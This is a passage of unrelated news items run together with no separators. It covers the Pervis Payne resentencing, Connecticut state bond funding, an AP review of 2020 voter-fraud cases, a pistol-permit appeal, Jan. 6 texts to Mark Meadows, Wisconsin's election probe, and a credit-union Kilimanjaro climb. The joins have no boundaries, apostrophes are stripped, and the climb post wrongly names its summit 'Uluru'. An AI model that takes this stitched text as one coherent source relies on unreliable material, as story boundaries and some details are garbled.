pollution than whites across the country. ___ Associated Press writers Kathleen Ronayne in Sacramento, California, and David Klepper in Providence, Rhode Island, contributed to this report. MEMPHIS, Tenn. (AP) Before Charisse Christopher and her 2-year-old daughter Lacie Jo were brutally stabbed and killed in a Tennessee apartment 34 years ago, their tight-knit family loved meeting for joyous reunions on holidays, gathering for birthday parties and hanging out at a relative's swimming pool. Those family celebrations have come far less often since June 27, 1987, the day the victims' bodies were found on the floor of their home, soaked in blood. The killings left the lives of many of Christopher's relatives in sad, frustrated pieces. There was so much love, and it was taken away from us, said Kathy Hites, Christopher's sister-in-law. Charisse didn't have a choice. We didn't have a choice. She's forever with the angels. Hites was one of three of Christopher's family members who made statements Tuesday during a sentencing hearing in the case of Pervis Payne, who had spent more than three decades on Tennessee's death row for the killings. Last month, Payne was released from death row when a judge vacated his sentence based on evaluations by two experts who determined Payne is intellectually disabled. Lawyers for Payne, 54, had petitioned for him to be evaluated for mental disability. During a two-day hearing, Shelby County Judge Paula Skahan heard from family and friends of Payne, wardens at the maximum security prison in Nashville where he's been held, and relatives of Christopher, who was 28 when she was murdered. Skahan must decide whether Payne will serve the terms consecutively or concurrently. The distinction is significant. A ruling for the life terms to be served one after the other or consecutively would mean Payne would not be eligible for parole until he is at least 85 years old. Should the judge decide that Payne can serve the sentences concurrently or at the same time Payne would be eligible for parole in just six years. Skahan said she would rule in January. Payne was convicted by a jury in the killings in the Memphis suburb of Millington. Christophers son, Nicholas, who was 3 at the time, was also stabbed but survived. All three victims were white. Payne, who is Black, has always maintained his innocence. He told police he was at Charisse Christophers apartment building to meet his girlfriend when he heard Christopher screaming and tried to help. He said he panicked when he saw a white police officer and ran away. Trial prosecutors alleged Payne was high on cocaine and looking for sex when he stabbed Christopher and her daughter in a drug-induced frenzy. Payne won't be put to death because the U.S. Supreme Court ruled in 2002 that executions of the intellectually disabled violate the Eighth Amendments ban on cruel and unusual punishment. But until Republican Gov. Bill Lee signed a bill this summer making Tennessees law retroactive in prohibiting the execution of the intellectually disabled, the state had no mechanism for an inmate to reopen a case to press an intellectual disability claim. Paynes lawyers have said the new law was critical in freeing Payne from death row. On Monday, Paynes supporters testified he was a kind, helpful person who liked to dance with his sister, cut his neighbors grass, give parishioners rides to the church where his father was a pastor, and play drums in the church band. They also testified that Payne had trouble reading and was excused from speaking during classes because of his learning problems. On Tuesday, the judge heard from four prison officials in a virtual call from Riverbend Maximum Security Institution in Nashville. They said Payne worked hard as a janitor in the death row unit and had no disciplinary issues. Prosecutor Steve Jones then called Christopher's relatives to the witness stand. Jones has argued for consecutive life sentences, to account for each of the two slayings. But Kelley Henry, Payne's attorney, said the judge only has to determine if Payne is a danger to society. Henry argued that he is not one, and pointed to statements by Paynes supporters saying they would welcome him into their community. Christopher's family supports consecutive sentences. Angela Johnson, Charisse Christophers sister, said her life fell apart after the killings, and she is full of anger, hurt. Johnson said the other stabbing victim, Nicholas, has lived a sad life since the deaths of his mother and sister. He lives alone, does not date and has very few friends, she said. He completely shut down, Johnson said of her nephew. You can still tell that there's a part of him that will never be happy. Ever. Not without them. BRIDGEPORT An infusion of $13 million from the state will speed up two slow-going but significant projects in Connecticuts largest city the overhaul of a crumbling East End ammunition manufacturing site and construction of a long-promised youth center for the North End. The state Bond Commission, chaired by Gov. Ned Lamont, is scheduled to meet Dec. 21 to vote on a new round of borrowing. Its agenda, released this week, includes $10 million to continue cleanup at the former Remington Arms plant, an East Side landmark but also symbol of Bridgeports long-gone glory days as a manufacturing hub. Bridgeport gained control of the Barnum Avenue property from developer Sal DiNardo in the mid-2010s following a foreclosure fight over back taxes and recently stabilized the historic tower which is visible from Interstate 95. A subsidiary of DuPont, the last industrial user, in 2000 agreed to assume responsibility for cleaning up any underground environmental contamination in preparation for future redevelopment. But the city is responsible for tearing down and removing the century-old buildings. And that is where the states $10 million comes in. Hopefully 2022, 2023 and beyond its ready for development, state Rep. Christopher Rosario, D-Bridgeport, who represents the neighborhood, said Wednesday. Rosario would like to see Remington again become the hub of the East Side with new commercial and retail uses and even some housing. Thomas Gill, Mayor Joe Ganims economic development chief, said Wednesday that the $10 million combined with $5 million the Bridgeport City Council set aside in 2020 should go a long way toward covering the demolition and clean-up. That is the idea, Gill said. This $10 million is a real, real big help to us. But, he cautioned, the city still has to put the job out to bid. If it comes in too high over the $15 million we may look at seeing how many of those buildings we can get down for the $15 million, Gill continued. The priorities are, obviously, the ones that are burnt out, wide open and extremely dangerous. Another reason the demolition is so crucial to Remingtons future is because, Gill noted, the Dupont subsidiary is only responsible for the underground remediation after the complex has been leveled. And Rosario is still holding out hope the state will eventually move ahead with a dormant effort to built a nearby train station, a project proposed in 2014 under then-Gov. Dannel P. Malloy that Lamont essentially shelved in early 2020. Obviously the more we develop that area the better chance and more logical that sounds, Gill said. Across town, at Madison and North avenues, the city has already torn down the former North End Boys and Girls Club. That work started in 2018. But ground has yet to be broken on the replacement facility, proposed six years ago under then-Mayor Bill Finchs administration and to be operated by the Fairfield-based Wakeman Boys & Girls Club. The $3 million on the Bond Commissions Dec. 21 agenda will finally get construction going. That will allow us to push the green light, Sabrina Smeltz, Wakemans chief executive officer, said Wednesday. Were super excited. Over the last decade the city obtained control of the property, which had once been operated by the Orcutt Boys & Girls Club, and in 2015 chose to partner on it with Wakeman, which already runs the Smilow-Burroughs Clubhouse in the Black Rock neighborhood. Under the agreement, Wakeman is leasing the land from the city but will own the new club it is building and operating there. A big part of the delay has been raising the construction and initial operating funds, a price tag that grew from $15 million to the current $23 million. Smeltz, who was hired in May 2020, said Wednesday with the $3 million Wakeman has finally reached that goal. So Im gonna say ceremonial shovel in the ground beginning of February, she said. This is an 18-month build, roughly. Were hoping to open summer of 2023, realistically July or August. The plans for the new North End clubhouse have also evolved over time and become more ambitious. The building will now not only offer youth activities and a cafeteria, but house a licensed pre-school/childcare program, space for Southwest Community Health Center services, the Bridgeport Caribe Youth Leaders and be the new home to Wakemans administrative offices. Smeltz noted she is a Bridgeport homeowner. The concept of this building is its a true community center as much as its a boys and girls club, Smeltz said, adding: A parent can come in with their infant in the afternoon while other kids are in Wakemans afterschool programs, go upstairs to Southwest, get care for their infant and selves, come downstairs, pick up their kid, go to the cafeteria and have a family-style dinner before going home. State Rep. Steven Stafstrom, D-Bridgeport, who represents the Black Rock neighborhood where Wakeman already operates, has been a vocal proponent of the North End club. The construction of a state of the art Wakeman Boys & Girls Club on Madison Avenue has long been a priority of mine and I am thrilled to have been able to secure the critical state matching investment needed to finally make this $23 million project a reality, he said in a statement. The states largesse does not end with those two key projects. Also on the Bond Commission agenda is $12.6 million for reconstruction of the parking garage at the Greater Bridgeport Community Mental Health Center and $300,000 to install an elevator at the Klein Memorial Auditorium. State Sen. Marilyn Moore, D-Bridgeport, who represents the Kleins neighborhood along Fairfield Avenue, said, The Klein Memorial Auditorium hosts dozens of events throughout the year and should be a wonderful and up-to-date place for the community to spend time in. Details from The Associated Press review of potential voter fraud cases in the six political battleground states where former President Donald Trump and his allies disputed his loss to Democrat Joe Biden. ARIZONA 2020 RESULT: Biden won by 10,457 votes. HOW IT WAS REPORTED: An AP reporter submitted public records requests to Arizonas 15 counties, along with requesting information from the state attorney generals office, which has been reviewing potential cases as part of an Election Integrity Unit created in 2019 to identify potential cases of fraud. WHAT AP FOUND: In all, 198 instances of potential fraud were identified in six counties, representing 1.9% of Bidens margin of victory. The vast majority of the potential instances of fraud identified were in Pima County, which includes Tucson. Nine counties reported no suspicious activity. Nine people have been charged so far, including six cases pursued by the state attorney generals office, which has an election integrity unit that is reviewing an undisclosed number of additional cases. HIGHLIGHTS: Many of the cases involved allegations of people casting multiple ballots, felons voting despite being ineligible and ballots received in the name of voters who are dead. CASE DETAILS: Of the 176 instances of potential fraud identified in Pima County, 151 were referred to prosecutors. The county has a practice of referring every effort to cast a second ballot to prosecutors for review, something other offices dont do. Election officials said 25 instances involved voters over the age of 70 and were not referred since there was a greater chance those were the result of memory lapses or confusion and not criminal intent. None of the Pima County cases involved a voter successfully voting twice. Four of the charged cases involved a relative successfully mailing in their dead relatives ballot, which was counted. One was charged by the attorney general and three by county prosecutors. Five of the states six cases involve Pima County felons accused of voting while being ineligible. ___ GEORGIA 2020 RESULT: Biden won Georgia by 11,779 votes. HOW IT WAS REPORTED: Via phone or email, an AP reporter contacted the elections office in all of Georgias 159 counties. The AP requested information about all instances of potential voter fraud they identified and whether they were referred for further investigation to local or state prosecutors or to the secretary of states office. Officials in 11 counties did not respond to numerous inquiries or declined to provide information. WHAT AP FOUND: In Georgia, 124 counties reported no suspicious voter activity surrounding the 2020 election. This included Democratic counties such as Fulton, swing counties such as Gwinnett and Republican counties such as Cherokee. In all, 64 instances of potential fraud were identified in 24 counties, representing 0.54% of Bidens margin of victory in Georgia. Most of the counties that did not respond to the AP inquiries or declined to answer were rural counties that largely backed Republicans. The state attorney generals office is reviewing about 20 cases referred so far by the state election board related to 2020 elections, including the primary. Officials said these were not referred as criminal cases and will likely be resolved with civil penalties. Its unknown how many may overlap with instances identified by local election officials in AP's review. HIGHLIGHTS: Of the 64 potential cases identified by the counties, 31 were determined to be the result of an administrative error or some other mistake. The rest are being investigated. Nearly half the instances reported by Georgia counties stemmed from inquiries made by state investigators. In several instances, county officials said their research conducted for the state did not indicate fraud. For instance, Camden County officials said they researched the voting history of three people at the request of the state and found nothing unusual. CASE DETAILS: Cobb County election officials said they had flagged eight instances of potential fraud, but an exhaustive review determined none were actual fraud. Five cases involved names sent by the state of possible dead voters, said Janine Eveler, the countys election supervisor. It turned out that two were not deceased, according to the countys records, while the rest appeared to involve ballots sent in by individuals who later died. One case involved a person who was reported to have moved to another county, but research indicated the voter had moved to another residence in the same county, Eveler said. The other two cases involved voters who cast provisional ballots on Election Day because they were unsure whether their absentee ballots had been fixed after initially being flagged for a problem, Eveler said. ___ MICHIGAN 2020 RESULT: Biden won by 154,188 votes. HOW IT WAS REPORTED: Via phone or email, four AP reporters contacted the elections office in each of Michigans 83 counties, along with the secretary of state and state attorney generals office. The AP requested information about all instances of potential voter fraud they had identified and whether they were referred for further investigation to local or state prosecutors. WHAT AP FOUND: In all, 71 of the 83 counties reported no suspicious activity. Six counties did not respond, while Isabella County declined to answer. The remaining five counties identified about 56 potential instances of voter fraud, representing 0.04% of Bidens margin of victory in the state. Four people have been charged. HIGHLIGHTS: Most of the 56 potential cases involved two people suspected of submitting about 50 fraudulent requests for absentee ballots in Macomb, Wayne and Oakland counties. All the suspicious applications were flagged by election officials and no ballots were cast improperly. The two individuals are facing charges. Separately, officials in Ionia County said law enforcement investigated two instances and determined neither were attempts to commit fraud. No charges were filed. One potential case in Ottawa County involved a voter who requested a ballot for an address where the person no longer lives. Two instances in Wayne County involved voters suspected of signing ballots for relatives. All of us take fraud very seriously and weve got secure protocols in place to catch it, Michigan Secretary of State Jocelyn Benson said. When we do, we prosecute it. CASE DETAILS: One of the Wayne County cases involves a grandmother who has pleaded guilty to a misdemeanor after authorities say she returned her grandsons absentee ballot despite his decision to vote in person. Authorities say the woman told investigators she was concerned her grandson would not have time to vote on Election Day. The absentee ballot was flagged after a signature review determined the signature did not match the voters signature on file and records showed he had also voted in person. ___ NEVADA 2020 RESULT: Biden won by 33,596 votes. HOW IT WAS REPORTED: Via phone or email, an AP reporter contacted the elections office in Nevadas 16 counties and Carson City, the state capital, which is its own government entity and not part of a county. The AP requested information about all instances of potential voter fraud they identified and whether they were referred for further investigation to local or state prosecutors or to the secretary of states office. WHAT AP FOUND: Ten Nevada counties, all rural and all won by Trump, reported no suspicious voter activity following the 2020 election. Between 93 and 98 potential cases were identified by election officials in six counties and Carson City. Clark County, where Las Vegas is located, provided a range of 10 to 15 potential fraud cases. In all, the number of possible voter fraud cases represents less than 0.3% of Bidens margin of victory in the state. The statewide total does not include thousands of fraud allegations submitted to the state by local Republicans. Republican Secretary of State Barbara Cegavske has said many of those were based largely upon an incomplete assessment of voter registration records and lack of information concerning the processes by which these records are compiled and maintained. Its not known how many of those remain under investigation. HIGHLIGHTS: Most of the cases involve allegations of double voting. At least one person, a Las Vegas businessman, pleaded guilty to a misdemeanor after voting a ballot that had been mailed to his wife, who was deceased. Most of the potential cases of voter fraud were in Washoe County, home to Reno. This included 42 allegations of voters casting two ballots, three instances in which a ballot was cast in the name of a dead voter and 12 ballots suspected of being signed by another person. There was one instance of an administrative error in which a person under age 18 was permitted to cast a ballot. CASE DETAILS: In White Pine County, election officials said a voter attempted to cast a ballot after voting earlier in Clark County. Under the states same-day registration rules, the voter was required to cast a provisional ballot when she showed up to vote in person; election officials were required to do a statewide check to ensure the voter had not cast a ballot anywhere else, according to Clerk Nichole Baldwin. That check indicated the person had voted in Clark County a few days earlier. Baldwin said the provisional ballot was rejected and not counted, ensuring the voter was unable to vote twice. ___ PENNSYLVANIA 2020 RESULT: Biden won by 80,555 votes. HOW IT WAS REPORTED: Via phone or email, two AP reporters contacted the elections office in all 67 of Pennsylvanias counties. The AP requested information about all instances of potential voter fraud they identified and whether they were referred for further investigation to local or state prosecutors or to the secretary of states office. One county, Blair, did not respond to APs request. WHAT AP FOUND: Election officials in 11 of the states 67 counties identified a total of 26 possible cases of voter fraud, representing 0.03% of Bidens margin of victory. Philadelphias elections office declined to provide AP with any information, so AP contacted the county district attorneys office and was told no cases had been referred to them for review. So far, six people have been charged. HIGHLIGHTS: Most of the cases involved allegations of ballots being cast for voters who were deceased. In one instance, charges were not filed against an Adams County man suspected of returning the ballot of his recently deceased wife. But in Allegheny County, a man was suspected of casting a ballot for his dead wife and was allowed to enter a diversion program to resolve the case. Instances of ballots received on behalf of two dead voters have been referred to prosecutors in Bucks County. One of three cases in Lehigh County and one of four cases in Luzerne County also involved dead voters. Statewide, no prosecutor, judge or election official in Pennsylvania has raised a concern about widespread fraud. CASE DETAILS: In Delaware County, a 70-year-old man pleaded guilty after authorities say he illegally voted for Trump on behalf of his long-dead mother. Bruce Bartman was sentenced to five years of probation. Prosecutors said Bartman used the drivers license number for his mother, who died more than a decade ago, to register her to vote, obtain a mail-in ballot, return that ballot and fraudulently vote in her name. ___ WISCONSIN 2020 RESULT: Biden won by 20,682 votes. HOW IT WAS REPORTED: Unlike the other states in the AP review, Wisconsin collects information on potential voter fraud cases at the state level. AP relied on this report issued by the Wisconsin Election Commission, which identified 27 potential cases. The AP then filed public records requests for the details of those cases. Four additional cases were identified through media reports or press releases. WHAT AP FOUND: Twelve of the states 72 counties accounted for the 31 cases of potential voter fraud identified in the state report. The total represents just shy of 0.15% of Bidens margin of victory. In 26 of the 31 cases, prosecutors declined to bring charges after conducting a review. HIGHLIGHTS: The five cases in which charges have been filed are distributed across Wisconsin geographically. One person was living in Florida and tried unsuccessfully to vote in Wisconsin. He did not cast a ballot. Two are felons and not eligible to vote. One man voted both in person and absentee and said he didnt recall sending in his absentee ballot. In another case, a woman is charged with submitting an absentee ballot in November for her partner, who had died in July. CASE DETAILS: About half the possible cases -- 16 of 31 -- involved voters in La Crosse County who had listed a UPS store as their residence. Prosecutors said no charges would be brought because those involved were all eligible voters who did not intend to break the law, which requires people to register with the address where they live. Officials said most of the cases involved retirees who use the UPS store to have their mail forwarded to them while on vacation. Local election clerks take the responsibility of preventing voter fraud incredibly seriously, said Meagan Wolfe, administrator of the Wisconsin Elections Commission. When they identify someone who may have committed fraud, clerks refer it for review: Those clerks have a really close connection with their voters, Wolfe said. These are their neighbors, their friends, their family. And so when there is some type of anomaly, our clerks are even more well-situated because of their deep connections with their municipal community to be able to identify these instances. ___ Associated Press reporters Scott Bauer; Christina A. Cassidy; Bob Christie; David Eggert; Camille Fassett; Anthony Izaguirre; Marc Levy; Shawn Marsh; Anna Liz Nichols; Michelle L. Price; Ed White and Corey Williams contributed to this report. TRUMBULL The state bond commission is expected to approve roughly $1.2 million in funding for two major projects in town one involving the headquarters of the local Make-A-Wish Foundation and one involving the Westfield Trumbull Mall. This week, state Sen. Marilyn Moore, D-Bridgeport, chair of the Bonding Committee, announced the funding, part of a bond agenda set to be approved on Tuesday. Under the agenda, the town will also receive $200,000 to do a study on the mall, and to try and reinvent the property. The Westfield Trumbull Mall receiving funding will help provide improvements to a huge shopping plaza that employs over 3,000 folks from Bridgeport, Trumbull, and the surrounding areas, Moore, whose district includes Trumbull, said in a news release. The town will also receive $1 million to improve the Make-A-Wish Foundation in Trumbull. The money would be used to renovate a building already purchased which would be used by critically ill children and their families. The foundation used to be in 5,000 square feet of space on Monroe Turnpike. Its now in a 20,000-square-foot space on Commerce Drive in the Trumbull Corporate Park. The money would be to continue the renovation of that space. Pam Keough, president and CEO of Make-A-Wish Foundation of Connecticut, Inc. said the organization would like to thank the Governor and legislators for supporting our mission to grant life-changing wishes to children with critical illnesses across the state of Connecticut. Local wish kids and families from all across Connecticut will directly benefit from this $1 million grant that renovates our facility in Trumbull, including playscapes, handicap-accessible play areas, audio and video experiences and information technology upgrades, she said. State Rep. David Rutigliano, R-Trumbull, also issued a statement on the Make-A-Wish funding. I am so grateful we were able to secure the funds for Make-A-Wish and ultimately for the benefit of children struggling through serious illnesses, he said. In the aftermath of COVID, children are facing serious physical and mental health risks, having an organization like Make-A-Wish permits these children a much-needed positive experience in their life. First Selectman Vicki Tesoro said in a statement that she was excited about the expected funding and it could mean great things for Trumbull. We thank Senator Moore for her outstanding leadership and support for Make-a-Wish and our Trumbull Mall, she said. Make-a-Wish is doing outstanding work for young people and their families out of their new headquarters in the Trumbull Corporate Park. We all know the challenges malls are facing, this funding will help us with a world class planning effort to set a course for the future of this very important area of town. Gov. Ned Lamont also expressed support for the funding. The Make-A-Wish Foundation provides an incredible service to children throughout the region, and this Trumbull facility will enable the organization to continue the services they provide, he said in a statement. BRIDGEPORT A Stratford plumbing contractor is being barred from getting his gun permit because of a misdemeanor drug conviction he got as a teenager in New York 15 years ago. On Thursday, the state Supreme Court will hear arguments on whether a misdemeanor arrest in another state should be used to prevent a state resident with no other criminal record from being eligible for a pistol permit. This case could have a wide-ranging effect not only on the eligibility for legal gun ownership but on whether misdemeanor convictions in other states can be used to enhance criminal cases here, said local lawyer Christian Young, who represents Anthony Leo. I believe this is the first time a judge has taken it upon himself to reinterpret the law to deprive someone of his constitutional right to legally possess a firearm. According to court records, in 2006, Leo was living in New York when he was pulled over there. A police officer officer subsequently found Leo in possession of 2.5 grams of ketamine, a powerful anesthetic. Leo later pleaded guilty to a misdemeanor possession of a controlled substance and was given no jail time. In May 2016, Leo applied to the Stratford Police Department for a state pistol permit. The department denied his application in April 2017, because of Leos 2006 conviction in N.Y. They stated that the N.Y. conviction was equivalent to a Connecticut misdemeanor charge that automatically precluded eligibility for a pistol permit. Leo appealed the denial to the state Board of Firearms Permit Examiners which in 2018 ordered that he be granted a pistol permit. The Stratford Police Department appealed that ruling. Attorney General William Tong wrote an argument supporting the boards decision. The board reversed the Towns decision to deny Leo a permit on the basis that his conviction in New York is an automatic disqualifier. Leo made a mistake in 2006. Since then, Leos life has changed. The Board found Leo to be credible and reversed the Town's decision. The Board moves for dismissal of the Towns appeal based on the aforementioned reasons, Tong wrote. But in 2019, Superior Court Judge John Cordani ruled that the firearms board had abused its discretion and Leo should be barred from getting the permit because of his 2006 N.Y. conviction. The board did not consider the legislative intent, the danger posed by providing pistol permits to persons known to abuse controlled substances, the judge ruled. The lawyer for the Stratford Police Department, Alfred Bruno, supports the lower court decision in his legal argument to the Supreme Court. He did not return calls and emails for comment. The defendant in this matter exhibited and committed the exact same behavior in New York state that would result in a disqualifying conviction in Connecticut, Bruno argued. That the conduct happened just over the border does not change its character. The clear intent of the legislature in passing (the state statute) was to prevent individuals who engaged in a certain type of behavior from possessing a pistol. Young said following his conviction, Leo went on to graduate from college, get married and raise a family. While living in Pennsylvania, Young said Leo was able to get a pistol permit there. He said Leo now runs his own plumbing company in Stratford. The town of Stratford is the first town in the state that is seeking to apply equivalency to a misdemeanor statute in another state when it comes to granting pistol permits, said Young. The town of Stratford has chosen to read the statute as being equivalent even though there is nothing in the statute that states it should be equivalent. Young said if Cordanis ruling is allowed to stand it will expand the classification of people who are no longer able to apply for pistol permits. He said the outcome of this case could also affect other criminal cases. Other states still hold that the possession of a small amount of marijuana is illegal and Cordanis ruling could mean that people with a conviction in another state for a small amount of marijuana could be ineligible for a pistol permit even though possession of a small amount of marijuana is not illegal in this state, Young said. WASHINGTON (AP) As a mob overran the U.S. Capitol last January, some of Donald Trump's highest-profile defenders in the media and even his own son sent urgent text messages to the White House chief of staff urging him to get the then-president to do more to stop the violence. But they did not publicly display that same sense of alarm mere hours after the deadly insurrection. And they have since joined some of the country's top Republicans in downplaying Trump's role in the attack part of a larger effort to rewrite the history of Jan. 6. Here are some of the frantic messages that Trump allies sent to White House chief of staff Mark Meadows as the insurrection was unfolding and what theyve said publicly about the events since then: DONALD TRUMP JR. Hes got to condemn this s- ASAP. The Capitol Police tweet is not enough, Trump's eldest son wrote in a text message to Meadows about his father. That's according to excerpts read Monday by Republican Rep. Liz Cheney of Wyoming, vice chair of a House committee investigating what happened. Earlier on Jan. 6, before the violence, the younger Trump tweeted that his father has the people!!! over a picture of throngs of pro-Trump demonstrators who gathered in Washington. When word began to surface that the Capitol was breached, Trump Jr. changed his tone, tweeting, This is wrong and not who we are. Be peaceful," and "Dont start acting like the other side. We have a country to save and this doesnt help anyone. But, barely a week later and after the House impeached President Trump for inciting the insurrection Trump Jr. began advancing the false narrative that authorities knew violence was coming on Jan. 6 but didn't do enough to prepare in part because House Speaker Nancy Pelosi ignored warnings about what might occur. If these federal law enforcement agencies had prior knowledge that this was a planned attack then POTUS didnt incite anything," Trump Jr. tweeted on Jan. 14. "If he didnt incite anything then Nancy Pelosi and the Dems used impeachment on yet another sham political witch-hunt. GOP members of Congress, including House Republican leader Kevin McCarthy, have since advanced similarly false claims about Pelosi delaying military assistance to help Capitol Police officers trying to quell the attack. ___ LAURA INGRAHAM Mark, the president needs to tell people in the Capitol to go home, the Fox News Channel host wrote, according to text excerpts Cheney read. "This is hurting all of us. He is destroying his legacy. But on her show the evening of Jan. 6, Ingraham cited false claims that the rioters included leftist provocateurs, saying, They were likely not all Trump supporters, and there are some reports Antifa sympathizers may have been sprinkled throughout the crowd. She added: If you are a Trump supporter hoping to display your support for the president, well, today's antics at the Capitol did just the opposite." Ingraham also made a false assertion that there were legitimate concerns that voter fraud potentially marred the 2020 election won by Democrat Joe Biden, but she noted, That never should have lent any license to violence or other chaos. Ingraham has since repeatedly downplayed the Jan. 6 attack. In April, she said that Americas most dangerous insurrectionists weren't those who participated in the mob. Instead, she said, The real threat to our future is Biden, and the well-heeled, powerful forces who want us to lose sight of what made America great in the first place. During a March phone interview with Trump, Ingraham asked him: Are you concerned that the U.S. Capitol, after Jan. 6, has become a fortress, protecting the Capitol from the people who are supposed to actually be the ones in charge here, not the people who are sitting in the Capitol? She then didn't object when Trump said the mob posed zero threat and suggested that authorities were persecuting a lot of those people for being a part of it. Ingraham said during her Tuesday show that, Both publicly and privately, I said what I believe: that the breach of the Capitol on Jan. 6 was a terrible thing." Crimes were committed. Some people were unfairly hounded and persecuted and prosecuted, she said. "But it was not an insurrection. ___ SEAN HANNITY Can he make a statement? Ask people to leave the Capitol?" the Fox News Channel host wrote to Meadows about Trump, according to text excerpts read by Cheney. During his show the evening of Jan. 6, Hannity said those responsible for the attack must be arrested and prosecuted to the full extent of the law, but he also quickly raised concerns that law enforcement wasn't ready for what happened. I dont care if the radical left, radical right I dont know who they are. Theyre not people I would support," Hannity said then. "So how were officials not prepared? We got to answer that question. How did they allow the Capitol building to be breached in what seemed like less than a few minutes? During his show on Monday, Hannity called the House committee investigating the attack a Democrat sham and a waste of your time and money." He also falsely said Trump had pushed for extra Capitol protection before Jan. 6 but was denied by Pelosi. He had Meadows on as a guest, but neither mentioned the text messages. On Tuesday, Hannity opened his show likening what occurred during the Capitol attack to demonstrations around the country after the murder of George Floyd by a Minnesota police officer. All riots, obviously, are bad. All of them," Hannity said. And on this program, we strongly condemn the violence on Jan. 6 just like we condemned all of the violent riots in the summer of 2020." Hannity called Cheney reading his Meadows text a weak attempt to smear yours truly and, presumably I guess, President Trump, and argued that what he wrote was consistent with what he said on the air the day of the Capitol attack. I say the same thing in private I say to all of you, Hannity said. MADISON, Wis. (AP) Republican Wisconsin Assembly Speaker Robin Vos on Tuesday said the investigation he ordered into the 2020 presidential election will spill into next year and cost more money, factors he blamed on Democrats who are fighting subpoenas. The current contract Vos signed this summer with former Wisconsin Supreme Court Justice Michael Gableman to lead the investigation runs through the end of this month at a cost to taxpayers of nearly $680,000. As part of his investigation, Gableman sought subpoenas of the mayors of the states five largest cities and the states top elections official. Gableman said the mayors of Madison and Green Bay should be jailed if they dont sit for a deposition. A court hearing in that case is set for Jan. 21. Democratic Attorney General Josh Kaul is trying to block the subpoena of Meagan Wolfe, the state election administrator, and a court hearing on that is set for next week. Those legal fights will prolong the Gableman investigation indefinitely, Vos said in an interview with The Associated Press. My goal always was to conclude the investigation by the end of the year, Vos said. I never in my wildest dreams predicted the level that Democrats would go to try to block and throw up roadblocks to everything that were doing. Had Democrats cooperated, Vos said, the investigation would be over this month. Vos said if Gableman has to spend most of his time and money fighting Democrat efforts to shut down the investigation, he might have to have more resources. But thats on the Democrats, not on us. Dragging out the investigation is in the best interest of Republicans because it gives the appearance that something illegal happened, said Democratic Assembly Minority Leader Gordon Hintz. The only thing wrong that happened for them is Joe Biden won and Donald Trump lost," Hintz said. I dont expect them to ever wrap up the investigation. Democrats, and some Republicans, decry the investigation as a sham given that some of those hired by Gableman worked in Trumps administration or have supported conspiracy theories about the 2020 election. Trump lost to President Joe Biden in Wisconsin by nearly 21,000 votes, an outcome thats been upheld following recounts, multiple court rulings and a nonpartisan audit. Vos and other Republicans defend the probe, saying they are trying to address issues raised by voters and others about procedures and private grant money awarded to heavily Democratic cities during the election. Republican state Sen. Kathy Bernier, chair of the Senate elections committee and the former Chippewa County election clerk, on Monday blasted the investigation. She called it a charade designed to appease the GOPs conservative base, urged its completion as soon as possible and said questioning the integrity of elections will ultimately hurt turnout for Republicans. I understand there is frustration when you have a president saying there is massive voter fraud, Bernier said, noting that Trump claimed fraud regularly as far back as the 2016 Iowa caucuses. We have a great system here and no one should falsely accuse election officials of cheating. Vos said he interpreted her comments as voicing frustration about the lack of Democratic participation. Its not just one side, Republicans, or the other side, Democrats, that have lost confidence in the election, its the whole population if we dont figure out how to remind people what the rules are and have a standard set for everybody, no matter where you live or how you vote, Vos said. Democratic Attorney General Josh Kaul applauded Bernier for her comments. I wish we would see more Republicans speaking out, Kaul said Tuesday. Kaul accused Gableman and Republicans of chasing after conspiracy theories. Vos last week refused to call claims that Biden stole the election from Trump conspiracy theories. Its clear that the efforts we have been seeing from some partisan Republicans are designed to destabilize our democracy and confidence in our democracy, Kaul said. In addition to the investigation, Trump supporters are also looking at enacting a constitutional amendment on elections to get around Democratic Gov. Tony Evers and empowering the secretary of states office to take over some election-related duties that the bipartisan elections commission currently handles. Hintz said the Republicans' ultimate goal was to empower the Legislature to overturn election results it doesnt like. Vos said he was skeptical of empowering the secretary of state, an office that hasn't had a role in running elections for nearly 50 years. Instead, Vos said he was focused on ways to overhaul the existing bipartisan Wisconsin Elections Commission, which the GOP-controlled Legislature created. I want to look at all the potential models, Vos said of how he wants elections run in Wisconsin. I dont say that I have the be-all, end-all answer right now. I think the current process is broken." Every journey begins with a single step. Some journeys are harder much harder than others. This is why these are the most memorable. Lois Kitsch, Co-Founder of CUDifference In October of 2022, I will be joining nine other Americans who plan to scale the highest peak in Africa Mount Kilimanjaro also affectionately known as Kili. Having done this once before in 2007, I know that this is no easy task. Joining us and rounding out our international climbing team are climbers from the UK, Germany, Canada, Kenya, the Gambia and Ghana. People who know me have asked me why are you doing this? Caroline Willard, President of the Cornerstone League and a member of the Climb Team says it perfectly, This climb blends two of my greatest passions exploration and travel along with credit unions and getting to live at the intersection of these two things is pretty remarkable. Kili soars 19,341 feet above sea level. It is the highest peak in Africa and the highest free-standing mountain in the world. This majestic mountain is a snow-capped volcano. The glaciers on the top of Kili are shrinking and expected to disappear in the next 3 to 4 decades. When I first climbed Kili 15 years ago I thought I was physically prepared and I was until summit day. Summit day begins at midnight. We climbed through the cold night air hoping to reach Uluru by daybreak. It was the most physically grueling experience in my life. However, when you reach the top of Africa, you realize that it was all worth it. This time I know what to expect. I am getting ready. My weekly workouts include an 8-to-9-mile daily walk, 100s of flights of stairs, weights and yoga. The mental preparation is even more important. Staying focused is critical. I am hoping the preparation will pay off and result in a successful effort. The African Adventure is a four-part tour designed to do bring awareness of the African SACCO system to the global credit union network. Kili will bring awareness and a focus to our goal to raise $450,000 to complete a state-of-the-art training academy through the African Cooperative Development Foundation. Doing so will provide opportunities for credit union professionals to experience Africa while they learn more about African credit unions. As stated by George Ombado, Executive Director of ACCOSCA 2022 will be an historical year for Africa and the financial cooperatives in Africa through ACCOSCA. One of the key things we will do is to climb Kilimanjaro to source funds for a new state of the art training academy for SACCOs (credit unions). The new Academy will become part of ACCOSCA which is the Pan-African trade association and development organization for SACCOs. Using blended training techniques (webinars, certifications, virtual learning and in-person programs), the Academy will help SACCOS modernize their business models, grow membership and build safe and sound institutions. The Academy will increase the level of participation of regulators and encourage them to explore the mission of credit unions while maintaining internationally accepted key indicators in SACCOS to build a stronger Africa. Do you want to join us? We would love to have you participate in one or all four parts of the 2022 African tour. Our climbing team is full. However, I invite you to join the Kili Ground Team. This team will be completing a project in Tanzania aimed to solve global development issues affecting the region. The ground team will also join the climb team as we walk off the mountain together to celebrate a successful climb. Participate in an international Development Education Workshop (three days). Safari on the Serengeti. The Serengeti National Park is a World Heritage Site teeming with wildlife. You are likely to see lions, leopards, cheetahs, elephants, wildebeest, impalas, giraffe, zebras and so much more. The Serengeti is one of the most magical places on earth a must do at least once 